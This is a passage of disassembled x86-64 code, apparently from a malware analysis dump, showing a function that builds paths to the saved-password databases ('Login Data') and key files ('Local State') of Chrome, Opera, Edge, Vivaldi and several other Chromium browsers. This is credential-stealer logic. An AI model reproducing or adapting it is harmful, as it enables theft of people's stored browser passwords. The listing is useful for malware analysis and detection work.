Function at 0x18008f980
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x148]
sub rsp, 0x240
movaps xmmword [rax - 0x18], xmm6
xor r9d, r9d
movaps xmmword [rax - 0x28], xmm7
mov rsi, rdx
mov rdi, rcx
lea rax, [rbp + 0x10]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea edx, [r9 + 0x1a]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xor r14d, r14d
mov qword [rbp - 0x18], 0xf
mov rbx, 0xffffffffffffffff
mov qword [rbp - 0x20], r14
mov byte [rbp - 0x30], r14b
lea rax, [rbp + 0x10]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x18008f9f0
lea rdx, [rbp + 0x10]
lea rcx, [rbp - 0x30]
call fcn.1800b8fb0
xor r9d, r9d
lea rax, [rbp + 0x10]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 0x1c]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea rax, [rbp + 0x10]
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], r14b
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], r14b
jne 0x18008fa40
mov r8, rbx
lea rdx, [rbp + 0x10]
lea rcx, [rsp + 0x50]
call fcn.1800b8fb0
movdqa xmm0, xmmword [0x180104d50]
lea rcx, [rsp + 0x70]
mov rbx, qword [rsp + 0x60]
mov qword [rdi + 0x10], r14
mov qword [rdi + 0x18], 0xf
mov byte [rdi], r14b
lea rdx, [rbx + 0x24]
mov byte [rsp + 0x70], r14b
movdqu xmmword [rbp - 0x80], xmm0
call fcn.1800ba640
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, rbx
lea rcx, [rsp + 0x70]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800b8790
mov r8d, 0x24
lea rdx, str.GoogleChromeUser_DataLocal_State
lea rcx, [rsp + 0x70]
call fcn.1800b8790
movdqa xmm0, xmmword [0x180104d50]
lea rcx, [rbp - 0x70]
mov rbx, qword [rsp + 0x60]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], r14b
lea rdx, [rbx + 0x2b]
call fcn.1800ba640
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, rbx
lea rcx, [rbp - 0x70]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800b8790
mov r8d, 0x2b
lea rdx, str.GoogleChromeUser_DataDefaultLogin_Data
lea rcx, [rbp - 0x70]
call fcn.1800b8790
movdqa xmm0, xmmword [0x180104d50]
lea rdx, str.Chrome
mov r8d, 6
mov byte [rsp + 0x30], r14b
lea rcx, [rsp + 0x30]
movdqu xmmword [rsp + 0x40], xmm0
call fcn.1800b8fb0
mov rdx, rsi
lea rcx, [rbp - 0x10]
call fcn.1800b8a30
lea r9, [rsp + 0x70]
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x70]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.18008f1b0
cmp qword [rdi + 0x18], 0x10
mov r8, rdi
jb 0x18008fb78
mov r8, qword [rdi]
mov r9, qword [rdi + 0x10]
mov rcx, rax
call fcn.1800ba920
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
lea rax, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdi, rax
je 0x18008fbf1
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x18008fbe8
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x18008fbe3
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180091150
mov rcx, r8
call fcn.1800c1180
movups xmmword [rdi], xmm6
movups xmmword [rdi + 0x10], xmm7
jmp 0x18008fc2e
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x18008fc2e
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008fc29
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180091150
call fcn.1800c1180
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x18008fc69
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008fc64
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180091150
call fcn.1800c1180
movdqa xmm0, xmmword [0x180104d50]
lea rcx, [rbp - 0x70]
mov rbx, qword [rbp - 0x20]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], r14b
lea rdx, [rbx + 0x28]
call fcn.1800ba640
cmp qword [rbp - 0x18], 0x10
lea rdx, [rbp - 0x30]
mov r8, rbx
lea rcx, [rbp - 0x70]
cmovae rdx, qword [rbp - 0x30]
call fcn.1800b8790
mov r8d, 0x28
lea rdx, str.Opera_SoftwareOpera_StableLocal_State
lea rcx, [rbp - 0x70]
call fcn.1800b8790
movdqa xmm0, xmmword [0x180104d50]
lea rcx, [rsp + 0x70]
mov rbx, qword [rbp - 0x20]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], r14b
lea rdx, [rbx + 0x27]
call fcn.1800ba640
cmp qword [rbp - 0x18], 0x10
lea rdx, [rbp - 0x30]
mov r8, rbx
lea rcx, [rsp + 0x70]
cmovae rdx, qword [rbp - 0x30]
call fcn.1800b8790
mov r8d, 0x27
lea rdx, str.Opera_SoftwareOpera_StableLogin_Data
lea rcx, [rsp + 0x70]
call fcn.1800b8790
movdqa xmm0, xmmword [0x180104d50]
lea rdx, str.Opera
mov r8d, 5
mov byte [rsp + 0x30], r14b
lea rcx, [rsp + 0x30]
movdqu xmmword [rsp + 0x40], xmm0
call fcn.1800b8fb0
mov rdx, rsi
lea rcx, [rbp - 0x10]
call fcn.1800b8a30
lea r9, [rbp - 0x70]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.18008f1b0
cmp qword [rdi + 0x18], 0x10
mov r8, rdi
jb 0x18008fd70
mov r8, qword [rdi]
mov r9, qword [rdi + 0x10]
mov rcx, rax
call fcn.1800ba920
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
lea rax, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdi, rax
je 0x18008fde9
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x18008fde0
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x18008fddb
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180091156
mov rcx, r8
call fcn.1800c1180
movups xmmword [rdi], xmm6
movups xmmword [rdi + 0x10], xmm7
jmp 0x18008fe26
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x18008fe26
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008fe21
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180091156
call fcn.1800c1180
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x18008fe61
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008fe5c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180091156
call fcn.1800c1180
movdqa xmm0, xmmword [0x180104d50]
lea rcx, [rbp - 0x70]
mov rbx, qword [rsp + 0x60]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], r14b
lea rdx, [rbx + 0x25]
call fcn.1800ba640
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, rbx
lea rcx, [rbp - 0x70]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800b8790
mov r8d, 0x25
lea rdx, str.MicrosoftEdgeUser_DataLocal_State
lea rcx, [rbp - 0x70]
call fcn.1800b8790
movdqa xmm0, xmmword [0x180104d50]
lea rcx, [rsp + 0x70]
mov rbx, qword [rsp + 0x60]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], r14b
lea rdx, [rbx + 0x2c]
call fcn.1800ba640
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, rbx
lea rcx, [rsp + 0x70]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800b8790
mov r8d, 0x2c
lea rdx, str.MicrosoftEdgeUser_DataDefaultLogin_Data
lea rcx, [rsp + 0x70]
call fcn.1800b8790
movdqa xmm0, xmmword [0x180104d50]
lea rdx, str.Edge
mov r8d, 4
mov byte [rsp + 0x30], r14b
lea rcx, [rsp + 0x30]
movdqu xmmword [rsp + 0x40], xmm0
call fcn.1800b8fb0
mov rdx, rsi
lea rcx, [rbp - 0x10]
call fcn.1800b8a30
lea r9, [rbp - 0x70]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.18008f1b0
cmp qword [rdi + 0x18], 0x10
mov r8, rdi
jb 0x18008ff70
mov r8, qword [rdi]
mov r9, qword [rdi + 0x10]
mov rcx, rax
call fcn.1800ba920
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
lea rax, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdi, rax
je 0x18008ffe9
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x18008ffe0
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x18008ffdb
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009115c
mov rcx, r8
call fcn.1800c1180
movups xmmword [rdi], xmm6
movups xmmword [rdi + 0x10], xmm7
jmp 0x180090026
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180090026
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180090021
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009115c
call fcn.1800c1180
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x180090061
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009005c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009115c
call fcn.1800c1180
movdqa xmm0, xmmword [0x180104d50]
lea rcx, [rbp - 0x70]
mov rbx, qword [rsp + 0x60]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], r14b
lea rdx, [rbx + 0x29]
call fcn.1800ba640
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, rbx
lea rcx, [rbp - 0x70]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800b8790
mov r8d, 0x29
lea rdx, str.SputnikLabSputnikUser_DataLocal_State
lea rcx, [rbp - 0x70]
call fcn.1800b8790
movdqa xmm0, xmmword [0x180104d50]
lea rcx, [rsp + 0x70]
mov rbx, qword [rsp + 0x60]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], r14b
lea rdx, [rbx + 0x30]
call fcn.1800ba640
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, rbx
lea rcx, [rsp + 0x70]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800b8790
mov r8d, 0x30
lea rdx, str.SputnikLabSputnikUser_DataDefaultLogin_Data
lea rcx, [rsp + 0x70]
call fcn.1800b8790
movdqa xmm0, xmmword [0x180104d50]
lea rdx, str.Sputnik
mov r8d, 7
mov byte [rsp + 0x30], r14b
lea rcx, [rsp + 0x30]
movdqu xmmword [rsp + 0x40], xmm0
call fcn.1800b8fb0
mov rdx, rsi
lea rcx, [rbp - 0x10]
call fcn.1800b8a30
lea r9, [rbp - 0x70]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.18008f1b0
cmp qword [rdi + 0x18], 0x10
mov r8, rdi
jb 0x180090170
mov r8, qword [rdi]
mov r9, qword [rdi + 0x10]
mov rcx, rax
call fcn.1800ba920
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
lea rax, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdi, rax
je 0x1800901e9
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x1800901e0
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x1800901db
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180091162
mov rcx, r8
call fcn.1800c1180
movups xmmword [rdi], xmm6
movups xmmword [rdi + 0x10], xmm7
jmp 0x180090226
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180090226
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180090221
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180091162
call fcn.1800c1180
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x180090261
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009025c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180091162
call fcn.1800c1180
movdqa xmm0, xmmword [0x180104d50]
lea rcx, [rbp - 0x70]
mov rbx, qword [rsp + 0x60]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], r14b
lea rdx, [rbx + 0x1f]
call fcn.1800ba640
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, rbx
lea rcx, [rbp - 0x70]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800b8790
mov r8d, 0x1f
lea rdx, str.ChromiumUser_DataLocal_State
lea rcx, [rbp - 0x70]
call fcn.1800b8790
movdqa xmm0, xmmword [0x180104d50]
lea rcx, [rsp + 0x70]
mov rbx, qword [rsp + 0x60]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], r14b
lea rdx, [rbx + 0x26]
call fcn.1800ba640
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, rbx
lea rcx, [rsp + 0x70]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800b8790
mov r8d, 0x26
lea rdx, str.ChromiumUser_DataDefaultLogin_Data
lea rcx, [rsp + 0x70]
call fcn.1800b8790
movdqa xmm0, xmmword [0x180104d50]
lea rdx, str.Chromium
mov r8d, 8
mov byte [rsp + 0x30], r14b
lea rcx, [rsp + 0x30]
movdqu xmmword [rsp + 0x40], xmm0
call fcn.1800b8fb0
mov rdx, rsi
lea rcx, [rbp - 0x10]
call fcn.1800b8a30
lea r9, [rbp - 0x70]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.18008f1b0
cmp qword [rdi + 0x18], 0x10
mov r8, rdi
jb 0x180090370
mov r8, qword [rdi]
mov r9, qword [rdi + 0x10]
mov rcx, rax
call fcn.1800ba920
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
lea rax, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdi, rax
je 0x1800903e9
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x1800903e0
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x1800903db
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180091168
mov rcx, r8
call fcn.1800c1180
movups xmmword [rdi], xmm6
movups xmmword [rdi + 0x10], xmm7
jmp 0x180090426
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180090426
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180090421
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180091168
call fcn.1800c1180
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x180090461
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009045c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180091168
call fcn.1800c1180
movdqa xmm0, xmmword [0x180104d50]
lea rcx, [rbp - 0x70]
mov rbx, qword [rsp + 0x60]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], r14b
lea rdx, [rbx + 0x1e]
call fcn.1800ba640
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, rbx
lea rcx, [rbp - 0x70]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800b8790
mov r8d, 0x1e
lea rdx, str.OrbitumUser_DataLocal_State
lea rcx, [rbp - 0x70]
call fcn.1800b8790
movdqa xmm0, xmmword [0x180104d50]
lea rcx, [rsp + 0x70]
mov rbx, qword [rsp + 0x60]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], r14b
lea rdx, [rbx + 0x25]
call fcn.1800ba640
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, rbx
lea rcx, [rsp + 0x70]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800b8790
mov r8d, 0x25
lea rdx, str.OrbitumUser_DataDefaultLogin_Data
lea rcx, [rsp + 0x70]
call fcn.1800b8790
movdqa xmm0, xmmword [0x180104d50]
lea rdx, str.Orbitum
mov r8d, 7
mov byte [rsp + 0x30], r14b
lea rcx, [rsp + 0x30]
movdqu xmmword [rsp + 0x40], xmm0
call fcn.1800b8fb0
mov rdx, rsi
lea rcx, [rbp - 0x10]
call fcn.1800b8a30
lea r9, [rbp - 0x70]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.18008f1b0
cmp qword [rdi + 0x18], 0x10
mov r8, rdi
jb 0x180090570
mov r8, qword [rdi]
mov r9, qword [rdi + 0x10]
mov rcx, rax
call fcn.1800ba920
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
lea rax, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdi, rax
je 0x1800905e9
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x1800905e0
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x1800905db
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009116e
mov rcx, r8
call fcn.1800c1180
movups xmmword [rdi], xmm6
movups xmmword [rdi + 0x10], xmm7
jmp 0x180090626
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180090626
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180090621
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009116e
call fcn.1800c1180
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x180090661
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009065c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009116e
call fcn.1800c1180
movdqa xmm0, xmmword [0x180104d50]
lea rcx, [rbp - 0x70]
mov rbx, qword [rsp + 0x60]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], r14b
lea rdx, [rbx + 0x1e]
call fcn.1800ba640
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, rbx
lea rcx, [rbp - 0x70]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800b8790
mov r8d, 0x1e
lea rdx, str.VivaldiUser_DataLocal_State
lea rcx, [rbp - 0x70]
call fcn.1800b8790
movdqa xmm0, xmmword [0x180104d50]
lea rcx, [rsp + 0x70]
mov rbx, qword [rsp + 0x60]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], r14b
lea rdx, [rbx + 0x25]
call fcn.1800ba640
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, rbx
lea rcx, [rsp + 0x70]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800b8790
mov r8d, 0x25
lea rdx, str.VivaldiUser_DataDefaultLogin_Data
lea rcx, [rsp + 0x70]
call fcn.1800b8790
movdqa xmm0, xmmword [0x180104d50]
lea rdx, str.Vivaldi
mov r8d, 7
mov byte [rsp + 0x30], r14b
lea rcx, [rsp + 0x30]
movdqu xmmword [rsp + 0x40], xmm0
call fcn.1800b8fb0
mov rdx, rsi
lea rcx, [rbp - 0x10]
call fcn.1800b8a30
lea r9, [rbp - 0x70]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.18008f1b0
cmp qword [rdi + 0x18], 0x10
mov r8, rdi
jb 0x180090770
mov r8, qword [rdi]
mov r9, qword [rdi + 0x10]
mov rcx, rax
call fcn.1800ba920
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
lea rax, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdi, rax
je 0x1800907e9
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x1800907e0
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x1800907db
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180091174
mov rcx, r8
call fcn.1800c1180
movups xmmword [rdi], xmm6
movups xmmword [rdi + 0x10], xmm7
jmp 0x180090826
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180090826
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180090821
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180091174
call fcn.1800c1180
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x180090861
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009085c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180091174
call fcn.1800c1180
movdqa xmm0, xmmword [0x180104d50]
lea rcx, [rbp - 0x70]
mov rbx, qword [rsp + 0x60]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], r14b
lea rdx, [rbx + 0x24]
call fcn.1800ba640
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, rbx
lea rcx, [rbp - 0x70]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800b8790
mov r8d, 0x24
lea rdx, str.ComodoDragonUser_DataLocal_State
lea rcx, [rbp - 0x70]
call fcn.1800b8790
movdqa xmm0, xmmword [0x180104d50]
lea rcx, [rsp + 0x70]
mov rbx, qword [rsp + 0x60]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], r14b
lea rdx, [rbx + 0x2b]
call fcn.1800ba640
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, rbx
lea rcx, [rsp + 0x70]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800b8790
mov r8d, 0x2b
lea rdx, str.ComodoDragonUser_DataDefaultLogin_Data
lea rcx, [rsp + 0x70]
call fcn.1800b8790
movdqa xmm0, xmmword [0x180104d50]
lea rdx, str.Comodo
mov r8d, 6
mov byte [rsp + 0x30], r14b
lea rcx, [rsp + 0x30]
movdqu xmmword [rsp + 0x40], xmm0
call fcn.1800b8fb0
mov rdx, rsi
lea rcx, [rbp - 0x10]
call fcn.1800b8a30
lea r9, [rbp - 0x70]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.18008f1b0
cmp qword [rdi + 0x18], 0x10
mov r8, rdi
jb 0x180090970
mov r8, qword [rdi]
mov r9, qword [rdi + 0x10]
mov rcx, rax
call fcn.1800ba920
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
lea rax, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdi, rax
je 0x1800909e9
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x1800909e0
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x1800909db
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009117a
mov rcx, r8
call fcn.1800c1180
movups xmmword [rdi], xmm6
movups xmmword [rdi + 0x10], xmm7
jmp 0x180090a26
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180090a26
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180090a21
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009117a
call fcn.1800c1180
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x180090a61
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180090a5c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009117a
call fcn.1800c1180
movdqa xmm0, xmmword [0x180104d50]
lea rcx, [rbp - 0x70]
mov rbx, qword [rsp + 0x60]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], r14b
lea rdx, [rbx + 0x25]
call fcn.1800ba640
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, rbx
lea rcx, [rbp - 0x70]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800b8790
mov r8d, 0x25
lea rdx, str.CocCocBrowserUser_DataLocal_State
lea rcx, [rbp - 0x70]
call fcn.1800b8790
movdqa xmm0, xmmword [0x180104d50]
lea rcx, [rsp + 0x70]
mov rbx, qword [rsp + 0x60]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], r14b
lea rdx, [rbx + 0x2c]
call fcn.1800ba640
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, rbx
lea rcx, [rsp + 0x70]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800b8790
mov r8d, 0x2c
lea rdx, str.CocCocBrowserUser_DataDefaultLogin_Data
lea rcx, [rsp + 0x70]
call fcn.1800b8790
movdqa xmm0, xmmword [0x180104d50]
lea rdx, str.CocCoc
mov r8d, 6
mov byte [rsp + 0x30], r14b
lea rcx, [rsp + 0x30]
movdqu xmmword [rsp + 0x40], xmm0
call fcn.1800b8fb0
mov rdx, rsi
lea rcx, [rbp - 0x10]
call fcn.1800b8a30
lea r9, [rbp - 0x70]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x70]
